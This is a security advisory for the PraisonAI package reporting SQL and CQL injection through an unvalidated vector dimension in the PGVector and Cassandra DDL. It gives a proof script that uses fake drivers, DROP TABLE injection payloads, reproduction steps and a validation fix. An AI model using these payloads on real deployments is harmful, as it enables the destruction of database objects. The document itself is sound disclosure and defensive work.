PGVector and Cassandra knowledge stores interpolate vector dimensions into DDL

Summary

The PGVector and Cassandra knowledge-store backends validate SQL/CQL identifiers such as schema, keyspace, and collection names, but still insert the caller-controlled dimension argument directly into CREATE TABLE vector column declarations. A caller that can influence collection creation dimensions can append SQL/CQL tokens to the generated DDL executed by the database driver.

Technical Details

The affected boundary is the vector-store collection creation API. The shared KnowledgeStore.create_collection() contract declares dimension: int, but Python type hints are not enforced at runtime. Backends that interpolate that value into DDL must validate the runtime value before constructing SQL/CQL.

src/praisonai/praisonai/persistence/knowledge/pgvector.py already treats DDL identifier interpolation as security-sensitive: __init__() calls validate_identifier(schema, name="schema"), and _table_name() calls validate_identifier(collection, name="collection name") before returning f"{self.schema}.praison_vec_{collection}". However, PGVectorKnowledgeStore.create_collection() then executes:

cur.execute(f"""
    CREATE TABLE IF NOT EXISTS {table} (
        id VARCHAR(255) PRIMARY KEY,
        content TEXT,
        content_hash VARCHAR(64),
        created_at DOUBLE PRECISION,
        metadata JSONB,
        embedding vector({dimension})
    )
""")

No equivalent type or range check runs on dimension. Passing a string such as 3); DROP TABLE tenant_secrets; -- reaches the SQL sent to cur.execute().

src/praisonai/praisonai/persistence/knowledge/cassandra.py has the same pattern. The constructor validates keyspace, and create_collection() validates the collection name, but the vector column DDL uses:

self._session.execute(f"""
    CREATE TABLE IF NOT EXISTS {name} (
        id text PRIMARY KEY,
        content text,
        content_hash text,
        created_at double,
        embedding vector<float, {dimension}>
    )
""")

Passing a string such as 3>; DROP TABLE tenant_secrets; -- reaches the CQL sent to session.execute().

PoV

This minimal PoV imports the real backend classes with fake database drivers, records the statements sent to the drivers, and compares a safe integer dimension with a malicious string dimension. It also attempts a malicious collection name as a negative control; current code rejects that name, proving the identifier hardening is active while the vector dimension remains unguarded.

#!/usr/bin/env python3
"""Local PoV for vector-store dimension DDL interpolation.

The script imports PraisonAI's current source with fake PostgreSQL/Cassandra
drivers, then records the SQL/CQL sent to the driver cursors. No database server
is required; the assertion is that the real classes build executable DDL with an
attacker-controlled dimension string.
"""

from __future__ import annotations

import argparse
import importlib
import json
import subprocess
import sys
import types
from pathlib import Path
from typing import Any


class SqlRecorder:
    def __init__(self) -> None:
        self.statements: list[dict[str, Any]] = []

    def execute(self, statement: str, params: Any = None) -> None:
        normalized = "\n".join(line.rstrip() for line in statement.strip().splitlines())
        self.statements.append({"statement": normalized, "params": params})

    def __enter__(self) -> "SqlRecorder":
        return self

    def __exit__(self, *_exc: object) -> None:
        return None


class FakeConnection:
    def __init__(self, recorder: SqlRecorder) -> None:
        self.recorder = recorder

    def cursor(self, *args: Any, **kwargs: Any) -> SqlRecorder:
        return self.recorder

    def commit(self) -> None:
        return None


class FakePool:
    def __init__(self, recorder: SqlRecorder) -> None:
        self.conn = FakeConnection(recorder)

    def getconn(self) -> FakeConnection:
        return self.conn

    def putconn(self, _conn: FakeConnection) -> None:
        return None

    def closeall(self) -> None:
        return None


class FakeCassandraSession:
    def __init__(self, recorder: SqlRecorder) -> None:
        self.recorder = recorder
        self.keyspace: str | None = None

    def execute(self, statement: str, params: Any = None) -> list[Any]:
        self.recorder.execute(statement, params)
        return []

    def set_keyspace(self, keyspace: str) -> None:
        self.keyspace = keyspace


class FakeCluster:
    recorder: SqlRecorder

    def __init__(self, *_args: Any, **_kwargs: Any) -> None:
        self.session = FakeCassandraSession(self.recorder)

    def connect(self) -> FakeCassandraSession:
        return self.session

    def shutdown(self) -> None:
        return None


def install_fake_pg_driver(recorder: SqlRecorder) -> None:
    psycopg2 = types.ModuleType("psycopg2")
    pool = types.ModuleType("psycopg2.pool")
    extras = types.ModuleType("psycopg2.extras")

    pool.ThreadedConnectionPool = lambda *_args, **_kwargs: FakePool(recorder)  # type: ignore[attr-defined]
    extras.RealDictCursor = object  # type: ignore[attr-defined]
    psycopg2.pool = pool  # type: ignore[attr-defined]
    psycopg2.extras = extras  # type: ignore[attr-defined]

    sys.modules["psycopg2"] = psycopg2
    sys.modules["psycopg2.pool"] = pool
    sys.modules["psycopg2.extras"] = extras


def install_fake_cassandra_driver(recorder: SqlRecorder) -> None:
    cassandra = types.ModuleType("cassandra")
    cluster = types.ModuleType("cassandra.cluster")
    auth = types.ModuleType("cassandra.auth")

    FakeCluster.recorder = recorder
    cluster.Cluster = FakeCluster  # type: ignore[attr-defined]
    auth.PlainTextAuthProvider = lambda *_args, **_kwargs: object()  # type: ignore[attr-defined]

    sys.modules["cassandra"] = cassandra
    sys.modules["cassandra.cluster"] = cluster
    sys.modules["cassandra.auth"] = auth


def git_value(source_root: Path, *args: str) -> str:
    return subprocess.check_output(["git", *args], cwd=source_root, text=True).strip()


def try_invalid_collection(store: Any) -> str:
    try:
        store.create_collection("docs; DROP TABLE blocked; --", 3)
    except Exception as exc:  # noqa: BLE001 - output records exact guard behavior.
        return f"{type(exc).__name__}: {exc}"
    return "accepted"


def run_pgvector(source_root: Path) -> dict[str, Any]:
    recorder = SqlRecorder()
    install_fake_pg_driver(recorder)
    sys.path.insert(0, str(source_root / "src" / "praisonai"))
    mod = importlib.import_module("praisonai.persistence.knowledge.pgvector")
    store = mod.PGVectorKnowledgeStore(url="postgresql://example.invalid/db", auto_create_extension=False)

    invalid_collection = try_invalid_collection(store)
    recorder.statements.clear()
    store.create_collection("docs", 3)
    safe_statements = list(recorder.statements)

    recorder.statements.clear()
    payload = "3); DROP TABLE tenant_secrets; --"
    store.create_collection("docs", payload)
    malicious_statements = list(recorder.statements)

    return {
        "payload": payload,
        "invalid_collection_control": invalid_collection,
        "safe_contains_drop_table": "DROP TABLE" in json.dumps(safe_statements),
        "malicious_contains_drop_table": "DROP TABLE tenant_secrets" in json.dumps(malicious_statements),
        "safe_statements": safe_statements,
        "malicious_statements": malicious_statements,
    }


def run_cassandra(source_root: Path) -> dict[str, Any]:
    recorder = SqlRecorder()
    install_fake_cassandra_driver(recorder)
    sys.path.insert(0, str(source_root / "src" / "praisonai"))
    mod = importlib.import_module("praisonai.persistence.knowledge.cassandra")
    store = mod.CassandraKnowledgeStore(hosts=["127.0.0.1"], keyspace="praisonai_safe")

    invalid_collection = try_invalid_collection(store)
    recorder.statements.clear()
    store.create_collection("docs", 3)
    safe_statements = list(recorder.statements)

    recorder.statements.clear()
    payload = "3>; DROP TABLE tenant_secrets; --"
    store.create_collection("docs", payload)
    malicious_statements = list(recorder.statements)

    return {
        "payload": payload,
        "invalid_collection_control": invalid_collection,
        "safe_contains_drop_table": "DROP TABLE" in json.dumps(safe_statements),
        "malicious_contains_drop_table": "DROP TABLE tenant_secrets" in json.dumps(malicious_statements),
        "safe_statements": safe_statements,
        "malicious_statements": malicious_statements,
    }


def main() -> None:
    parser = argparse.ArgumentParser()
    parser.add_argument("--source-root", type=Path, default=Path.cwd())
    args = parser.parse_args()
    source_root = args.source_root.resolve()

    output = {
        "source": {
            "repository": "MervinPraison/PraisonAI",
            "head": git_value(source_root, "rev-parse", "HEAD"),
            "describe": git_value(source_root, "describe", "--tags", "--always", "--dirty"),
        },
        "pgvector": run_pgvector(source_root),
        "cassandra": run_cassandra(source_root),
    }

    assert output["pgvector"]["invalid_collection_control"].startswith("ValueError:"), output
    assert output["cassandra"]["invalid_collection_control"].startswith("ValueError:"), output
    assert output["pgvector"]["safe_contains_drop_table"] is False, output
    assert output["cassandra"]["safe_contains_drop_table"] is False, output
    assert output["pgvector"]["malicious_contains_drop_table"] is True, output
    assert output["cassandra"]["malicious_contains_drop_table"] is True, output

    print(json.dumps(output, indent=2, sort_keys=True))


if __name__ == "__main__":
    main()

PoC

Save the PoV script above as pov_vector_dimension_ddl_injection.py, then reproduce against current head:

git clone https://github.com/MervinPraison/PraisonAI.git
cd PraisonAI
git checkout 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab
python3 pov_vector_dimension_ddl_injection.py --source-root .

Decisive PGVector output:

{
  "pgvector": {
    "invalid_collection_control": "ValueError: collection name must be non-empty and contain only alphanumerics and underscores",
    "safe_contains_drop_table": false,
    "malicious_contains_drop_table": true,
    "malicious_statements": [
      {
        "statement": "CREATE TABLE IF NOT EXISTS public.praison_vec_docs (... embedding vector(3); DROP TABLE tenant_secrets; --) ...)"
      }
    ]
  }
}

Decisive Cassandra output:

{
  "cassandra": {
    "invalid_collection_control": "ValueError: collection name must be non-empty and contain only alphanumerics and underscores",
    "safe_contains_drop_table": false,
    "malicious_contains_drop_table": true,
    "malicious_statements": [
      {
        "statement": "CREATE TABLE IF NOT EXISTS docs (... embedding vector<float, 3>; DROP TABLE tenant_secrets; --> ...)"
      }
    ]
  }
}

The local controls also showed safe integer dimensions produce embedding vector(3) and embedding vector<float, 3> without DROP TABLE, while malicious collection names are rejected before driver execution.

Impact

This is a SQL/CQL injection sink in database DDL generation. Applications that expose RAG collection creation, tenant workspace provisioning, plugin-managed vector-store setup, or similar lower-trust configuration to PGVector or Cassandra knowledge stores can let a lower-privileged caller append database statements under the application database principal. Depending on database permissions, impact can include dropping, creating, or altering database objects. The conservative classification is CWE-89 for PGVector and CWE-943/CQL injection for Cassandra, with Medium severity because the attacker must influence the collection dimension and the application principal must have DDL privileges.

Suggested Fix

Validate dimension before constructing DDL in every backend that uses it. Prefer a shared helper at the KnowledgeStore.create_collection() boundary plus backend-level defense in depth:

def validate_vector_dimension(value: object) -> int:
    if isinstance(value, bool) or not isinstance(value, int):
        raise ValueError("dimension must be an integer")
    if value <= 0 or value > 200000:
        raise ValueError("dimension is outside the supported range")
    return value

Use the validated integer in PGVector, Cassandra, ClickHouse, SingleStore, and any other DDL-generating backend. Add regression tests that malicious values such as 3); DROP TABLE x; -- and 3>; DROP TABLE x; -- raise before any driver execute() call, alongside the existing malicious collection-name tests.

Affected Package/Versions

Affected package: praisonai.

The source sweep found the same dimension interpolation pattern in both PGVector and Cassandra backends at v3.10.0, v4.5.128, v4.6.59, v4.6.62, v4.6.63, v4.6.64, and current main commit 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab. A conservative affected range is praisonai >= 3.10.0, <= 4.6.64 plus current main, for installations using the PGVector or Cassandra knowledge-store backends and exposing collection dimensions to lower-trust input. No fixed version was identified in the checked source.

Advisory History

Repository security advisories were checked on 2026-06-19. The closest public advisory is GHSA-3643-7v76-5cj2, "PraisonAI knowledge-store backends interpolate unvalidated collection names into SQL and CQL queries". Current head contains the follow-up identifier validation for schema, keyspace, and collection names, and the PoV negative controls confirm that collection-name injection is now rejected. This report is distinct because the unvalidated input is the vector dimension, the affected DDL fields are embedding vector({dimension}) and embedding vector<float, {dimension}>, and the issue remains after the identifier hardening.

Other checked comparators include conversation-store table_prefix SQL injection advisories (GHSA-rg3h-x3jw-7jm5, GHSA-x783-xp3g-mqhp) and unrelated Platform, Context, deployment, and agent-tool advisories. No checked advisory matched vector dimension interpolation in PGVector or Cassandra knowledge-store DDL.

References

• src/praisonai/praisonai/persistence/knowledge/pgvector.py
• src/praisonai/praisonai/persistence/knowledge/cassandra.py
• src/praisonai/praisonai/persistence/knowledge/base.py
• https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-3643-7v76-5cj2
• https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rg3h-x3jw-7jm5
• https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x783-xp3g-mqhp